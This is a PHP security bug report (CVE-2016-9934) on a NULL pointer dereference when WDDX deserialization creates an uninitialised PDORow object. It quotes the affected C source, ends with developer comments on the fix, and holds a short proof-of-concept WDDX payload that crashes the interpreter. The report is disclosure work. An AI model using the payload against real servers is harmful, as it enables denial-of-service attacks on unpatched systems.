Sec Bug #73331 NULL Pointer Dereference in WDDX Packet Deserialization with PDORow
Submitted: 2016-10-17 13:43 UTC Modified: 2016-12-13 11:51 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: WDDX related
PHP Version: 5.6.27 OS:
Private report: No CVE-ID: 2016-9934

Description:
------------
wddx.c
```
						object_init_ex(obj, *pce);
```

The PDORow object will be created in during WDDX packet deserialization.

pdo_stmt.c
```
void pdo_stmt_init(TSRMLS_D)
{
	...
	pdo_row_ce->create_object = pdo_row_new;
...
zend_object_value pdo_row_new(zend_class_entry *ce TSRMLS_DC)
{
	zend_object_value retval;

	retval.handle = zend_objects_store_put(NULL, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t)pdo_row_free_storage, NULL TSRMLS_CC);
	retval.handlers = &pdo_row_object_handlers;

	return retval;
}
```

But the PDORow object isn’t initialized in the pdo_row_new.

wddx.c
```
						zend_hash_merge(Z_OBJPROP_P(obj),
										Z_ARRVAL_P(ent2->data),
										(void (*)(void *)) zval_add_ref,
										(void *) &tmp, sizeof(zval *), 0);
```

Then the `Z_OBJPROP_P` macro will call to the PDORow object's get_properties handler.

pdo_stmt.c
```
static HashTable *row_get_properties(zval *object TSRMLS_DC)
{
	pdo_stmt_t * stmt = (pdo_stmt_t *) zend_object_store_get_object(object TSRMLS_CC);
	int i;

	if (stmt == NULL) {
		return NULL;
	}
```

Thus the row_get_properties will return NULL, this result in NULL pointer dereference.

PoC:
```
<?php

$wddx = "<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>PDORow</string></var></struct></data></wddxPacket>";
var_dump(wddx_deserialize($wddx));

?>
```

Hmm... not sure PDORow should even be serializable...

It's actually PDO problem, not WDDX. PDORow should not be unserialized.

Oops. spoke too soon. Looks like WDDX mishandles all objects which use serialize/unserialize.

The fix is in security repo as 6045de69c7dedcba3eadf7c4bba424b19c81d00d and in https://gist.github.com/4b193ba0da937e11710e620b83a1aca0

Use CVE-2016-9934. The scope of this CVE is everything fixed by
6045de69c7dedcba3eadf7c4bba424b19c81d00d. We could not immediately
determine whether the new "pdo_row_ce->unserialize =
zend_class_unserialize_deny" line, by itself, could stand as an
independent fix for a subset of the problem.
